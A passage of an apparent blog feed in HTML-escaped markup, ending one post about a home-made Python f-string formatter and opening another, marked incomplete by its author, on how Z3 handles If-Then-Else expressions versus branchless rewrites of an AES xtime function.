&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{outter_y}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;inner&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;outter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I thought that I could cache the result of an expression and reuse it if it was used in the format string more than once.&lt;/p&gt;
&lt;p&gt;But then I realize that would not work in some edge-cases:&lt;/p&gt;
&lt;p&gt;Considere the following edge-case using a closure and notice how &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is called three times.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;inc&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;nonlocal&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;inc&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;inc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;{inc()}, {inc()}, {inc()}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;LocalsFormatter&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; can also use the user-provided variables that will take precedence:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;LocalsFormatter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;caller_ix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vformat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kargs&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;33&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;x=&lt;/span&gt;&lt;span class="si"&gt;{x}&lt;/span&gt;&lt;span class="s2"&gt; y=&lt;/span&gt;&lt;span class="si"&gt;{y}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If a variable cannot be found, an error will be shown&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;inner&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{outter_y}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;outter&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;outter_y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;inner&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;outter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="ne"&gt;NameError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;outter_y&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;defined&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/07/11/Home-Made-Python-F-String.html" rel="alternate" type="text/html" title="Home Made Python F-String"/>
    <category term="Python" label="Python"/>
    <published>2021-07-11T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/06/14/Performance-of-ITE-Expressions.html</id>
    <title>Performance of ITE Expressions (incomplete)</title>
    <updated>2021-06-14T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;A &lt;em&gt;branch&lt;/em&gt; is an expensive operation even in modern CPUs because the computer will know which of the paths is taken only in the latest stages of the CPU pipeline.&lt;/p&gt;
&lt;p&gt;In the meantime, the CPU &lt;em&gt;stalls&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Modern CPUs use branch prediction, speculative execution and instruction reordering to minimize the impact of a branch.&lt;/p&gt;
&lt;p&gt;They do a good job but still a &lt;em&gt;branch&lt;/em&gt; is potentially expensive so they are replaced by &lt;em&gt;branchless&lt;/em&gt; variants.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Then&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Else&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or ITE for short, are symbolic expression that denotes a value chosen from two possible values based on a condition. These are the &lt;em&gt;symbolic branch&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Naturally we could rewrite a symbolic ITE with a symbolic &lt;em&gt;branchless&lt;/em&gt; expression.&lt;/p&gt;
&lt;p&gt;The question is: which is better for a solver like Z3? Which makes the SMT/SAT solver faster?&lt;/p&gt;
&lt;p&gt;After two weeks working on this post &lt;strong&gt;I still don’t have an answer but at least I know some unknowns.&lt;/strong&gt;&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="z3-if-then-else"&gt;Z3 &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Then&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Else&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;In Z3 we use &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;z3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;If&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to build such symbolic expressions.&lt;/p&gt;
&lt;p&gt;Take for example the following Python function &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;xtime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;thenval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mh"&gt;0x1B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;elseval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;condval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;thenval&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;condval&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;elseval&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Symbolically, we could rewrite it as follows:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;z3&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BitVec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;simplify&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;xtime_branch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;thenval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mh"&gt;0x1B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;elseval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;condval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;condval&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;thenval&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;elseval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Remember that in Python, the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;thenval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;condval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;elseval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is &lt;strong&gt;evaluated&lt;/strong&gt; at runtime but in Z3 we cannot evaluate anything.&lt;/p&gt;
&lt;p&gt;So we need to model the fact that the output of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; it may be &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;thenval&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;elseval&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, depending of the condition.&lt;/p&gt;
&lt;p&gt;Let’s see what is the result of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime_branch&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BitVec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;T&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;xtime_branch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;128&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;simplify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;xtime_branch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
   &lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
   &lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
          &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
          &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
          &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
          &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Before continuing, I would like to simplify &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime_branch&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; a little:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the input are always an 8 bits, so the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; mask is not needed&lt;/li&gt;
&lt;li&gt;the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;thenval&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; can reuse the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;elseval&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;xtime_branch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;elseval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;thenval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;elseval&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mh"&gt;0x1B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;condval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;condval&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;thenval&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;elseval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;xtime_branch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;128&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

